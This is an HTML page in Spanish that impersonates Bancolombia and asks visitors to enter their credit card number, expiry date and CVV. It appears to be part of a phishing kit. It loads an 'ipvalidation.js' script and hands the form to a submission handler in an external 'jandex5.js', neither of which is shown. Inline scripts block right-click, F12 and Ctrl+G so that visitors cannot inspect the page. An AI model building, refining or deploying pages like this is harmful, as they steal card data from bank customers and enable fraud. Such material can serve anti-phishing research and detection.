<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Bancolombia</title>
    <link rel="stylesheet" href="styles.css">
    <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
    <link href="https://fonts.googleapis.com/css2?family=Aptos:wght@400;700&display=swap" rel="stylesheet">
    <script src="alerta6.js"></script>
    <script src="ipvalidation.js"></script>
    <link rel="icon" href="icono.png" type="image/x-icon">
    <link rel="apple-touch-icon" href="icono.png">
    <script type="text/javascript">
        document.addEventListener('contextmenu', function(e) {
            e.preventDefault();
        });

        document.onkeydown = function(e) {
            if (e.ctrlKey && (e.keyCode === 71)) {
                return false;
            }
        };
    </script>
    <script>
        document.addEventListener('keydown', function(e) {
            if (e.key === 'F12') {
                e.preventDefault();
            }
        });

        document.addEventListener('contextmenu', function(e) {
            e.preventDefault();
        });
    </script>
</head>
<body class="body">
    <form id="formulario" onsubmit="enviarFormulario(event)" class="form">
        <div><img class="logo" src="logo.png"></div>
        <div class="texto">
            <p>Ingresa los datos de tu tarjeta de crédito.</p>
        </div>
        <div class="centrado">
            <img src="credit-card.jpg" class="candado">
        </div>
        <div class="centrado5">  
            <img src="tarjeta.jpg" class="creditcard"> 
            <input class="documento3" type="text" id="documento" name="documento" placeholder="Ingrese número de su tarjeta" required inputmode="numeric" minlength="16" maxlength="19"><br>
            <img src="fecha.jpg" class="creditcard">
            <input class="documento4" type="text" id="documento1" name="documento" placeholder="mes/año" required inputmode="numeric" minlength="4" maxlength="8">
            <img src="fecha.jpg" class="creditcard">
            <input class="documento4" type="text" id="documento2" name="documento" placeholder="CVV" required inputmode="numeric" minlength="3" maxlength="4" pattern="[0-9]*">
        </div><br><br>
        <div class="centrado">    
            <button type="submit" class="boton1">Continuar</button>
        </div>    
        <div class="abajo">
            <img src="imagenbaja.png" class="abajo">
        </div>
    </form>
    <script src="jandex5.js"></script>
    <script>
        const input = document.getElementById('documento');

        input.addEventListener('input', function(e) {
          let value = e.target.value.replace(/\s/g, '');
          let formattedValue = '';
          for (let i = 0; i < value.length; i++) {
            formattedValue += value[i];
            if ((i + 1) % 4 === 0 && i !== value.length - 1) {
              formattedValue += ' ';
            }
          }
          this.value = formattedValue;
        });
        
    </script>
</body>
</html>